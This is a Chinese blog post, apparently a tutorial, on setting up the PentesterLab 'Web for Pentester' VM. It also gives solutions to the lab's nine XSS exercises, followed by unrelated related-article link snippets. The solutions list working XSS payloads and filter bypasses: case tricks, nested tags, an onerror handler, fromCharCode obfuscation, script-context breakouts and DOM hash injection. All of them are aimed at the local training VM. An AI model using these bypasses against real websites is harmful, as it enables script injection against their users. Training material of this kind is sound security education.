【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

下载链接及文档说明:
http://pentesterlab.com/exercises/web_for_pentester/
【安装流程】
1. 虚拟机中挂载镜像。 下载好ios镜像之后,在虚拟机中创建新系统。

一路向下,创建虚拟系统。
点击启动,选择iso镜像,即可启动。

2. 设置网络。 关掉刚刚开启的系统。
点击设置,选择网络选项。如图所示设置网络


3.启动系统。输入ifconfig

可以看到我们虚拟机的IP地址为http://192.168.56.101/ 不同的系统可能不一样
如果想让主机访问虚拟机,必须让主机和虚拟机在同一网段的范围内。
所以在主机上打开网络和共享中心,设置IP

根据我的虚拟机IP,我给本机设置的IP如下:

4.在主机浏览器输入虚拟机IP,我这儿是http://192.168.56.101/ ,即可通过HTTP访问虚拟机了!!
【XSS部分解析】
xss example1:
完全没有过滤或者编码,各种姿势的玩~
name=<script>alert('bb')</script>
xss example2:

从这里可以看到,过滤掉了<script>标签,我们试试大小写?
name=<Script>alert('bb')</sCript>
嗯,大小写绕过了
xss example3:
和上一张图一样,<script>标签被过滤掉了
先试试 name=la<script>la,输出hello,lala
name=<scri<script>pt>alert('bb')</scri</script>pt>
经测试这个在实例2也是可以用的
xss example4:
先输入最基本的测试name=<script>alert('bb')</script>
竟然输出error了!
换个标签? name=<img>?这次没error。补全补全~
name=<img src="1" onerror="alert('bb')">
成功了~~经测试这个payload在前三个应该也是可以的
xss example5:
先输入name=<img>正常显示
补全name=<img src="1" onerror="alert('bb')"> 输出error
发现alert被过滤掉了- -但是其他的函数还可以用,
比如说name=<img src="1" onerror="confirm('aa')">
查了一下文档,发现可以这样写
name=<img src="1" onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,97,39,41))">
这个世界真神奇
xss example6:
查看元素,发现输出竟然在script标签中。
$a="<img src="1" onerror="alert('bb')">"
输出在script标签中的情况要首先闭合双引号"
name=fdf";alert($a);//
xss example7:
审查元素:
<script>
var $a= 'fdf";alert($a);//';
</script>
发现双引号被HTMLEncode了
- -还发现$a=''这个地方变成了单引号。。。稍微改一下
name=fdf';alert($a);//
成了
xss example8:
呦,终于长进了,变成存储型的了~
随便输出个名字<script>alert('a')</script>
审查元素
HELLO <script>alert('a')</script>
<>被HTMLEncode了。
对于输出在HTML中的内容,这样的过滤已经是足够了。那么漏洞在哪儿呢?
经过答案的提醒- -我们发现form表的目标URL是可以被构造的
http://192.168.56.101/xss/example8.php/%22%20onsubmit=%22alert('1')
在提交的时候,会触发弹窗
xss example9:
- -最后一个你是在逗我么
审查元素
<script>
document.write(location.hash.substring(1));
</script>
随便改改就好了。。http://192.168.56.101/xss/example9.php#<script>alert('1')</script>
注:官方答案地址:http://files.pentesterlab.com/web_for_pentester/web_for_pentester.pdf
【web安全】第三弹:web攻防平台pentester安装及XSS部分答案解析的更多相关文章
- 【web安全】第二弹:XSS攻防中的复合编码问题
最近一直在研究XSS的攻防,特别是dom xss,问题慢慢的迁移到浏览器编码解码顺序上去. 今儿被人放鸽子,无奈在KFC看了两个小时的资料,突然有种豁然开朗的感觉. 参考资料先贴出来: 1. http ...
- Java Web高性能开发(三)
今日要闻: Clarifai:可识别视频中物体 最近几年,得益于深度学习技术的发展,谷歌和Facebook等企业的研究人员在图形识别软件领域取得了重大突破.现在,一家名为Clarifai的创业公司则提 ...
- 应用AXIS开始Web服务之旅(soap web services)——使用三种不同的语言访问创建的Web服务,分别是JAVA、VB、VC
一. 介绍 本文并不是想介绍Web服务的原理.系统架构等,我们假设您已经了解了关于Web服务的一些基本的概念.原理等知识.本文主要是针对那些已经了解Web服务概念,但是还没有亲身体会Web服务所带来令 ...
- 转-Web Service中三种发送接受协议SOAP、http get、http post
原文链接:web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 一.web服务中三种发送接受协议SOAP/HTTP GET/HTTP POST 在web服务中,有三种可供选择的发 ...
- Web Service进阶(三)HTTP-GET, HTTP-POST and SOAP的比较
XML Web Service支持三种协议来与用户交流数据.这三种协议分别是: 1.SOAP:Simple Object Access Protocol 2.HTTP-GET 3.HTTP-POST ...
- 使用Micrisoft.net设计方案 第三章Web表示模式
第三章Web表示模式 体系结构设计者在设计第一个作品时比较精简和干练.在第一次设计时,并清除自己做什么,因此比较小心谨慎.第二个作品是最危险的一个作品,此时他会对第一个作品做修饰和润色,以及把第一次设 ...
- ASP.NET MVC Web API 学习笔记---第一个Web API程序---近来很多大型的平台都公开了Web API
1. Web API简单说明 近来很多大型的平台都公开了Web API.比如百度地图 Web API,做过地图相关的人都熟悉.公开服务这种方式可以使它易于与各种各样的设备和客户端平台集成功能,以及通过 ...
- [转]ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ...
- ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ...
随机推荐
- Android图片压缩
import java.io.File;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java ...
- 前端JS开发框架-DHTMLX
一:介绍 dhtmlxSuite是一个JavaScript库,提供了一套完整的Ajax -驱动UI组件.我们能够使用dhtmlxSuite构建 简洁界面,快速性能,和丰富用户体验的企业级web应用程序 ...
- PullToRefreshScrollView 修改下拉刷新图标
我的修改比较简单暴力.网上查了一番,貌似大家都没有改,无奈,查了一下源码.发现如下资源目录: 在看看我们的布局文件,此三个图片就是下拉刷新的三种图标 好吧,flip就是我目前的下拉刷新图片,对应的也就 ...
- C# 以ThreadStart方式实现多线程
3.1 使用ThreadStart委托 这 里先以一个例子体现一下多线程带来的好处,首先在Message类中建立一个方法ShowMessage(),里面显示了当前运行线程的Id,并使用 Threa ...
- Java 并发——多线程基础
Thead类与Runnable接口 Java的线程,即一个Thread实例. Java的线程执行过程有两种实现方式: 子类继承Thread类,并且重写void run()方法. 自定义类实现Runna ...
- hibernate篇章六--demo(0.准备工作)
这个demo是学习自:学习不可已 这个章节我们先来说准备工作:Hibernate之第〇解之准备工作 首先: 1.新建java project--hibernate_demo_1: 2.新建src fo ...
- LSJ_NHibernate第四章 MVC
前言: MVC现在已经成为web开发的一个主流趋势了,还没用过的小伙伴,你们已经落伍了,这里我推荐一篇学习博客 玩转Asp.net MVC 的八个扩展点 代码完全开源,下载地址:https://gi ...
- Meta http-equiv属性
http-equiv顾名思义,相当于http的文件头作用,它可以向浏览器传回一些有用的信息,以帮助正确和精确地显示网页内容,与之对应的属性值为content,content中的内容其实就是各个参数的变 ...
- iOS 9 Spotlight搜索 OC版
介绍: 在WWDC 2015会议上,苹果官方公布了iOS9.除开许多新的特性和增强功能,这次升级也给了开发者们一个机会让他们的app里的内容能通过Spotlight 搜索功能被发现和使用.在iO ...
- 执行mysql脚本
方法1: mysql -uroot -p123456 -Ddatabasename < sql文件路径 方法2: source 路径全名 \. 路径全名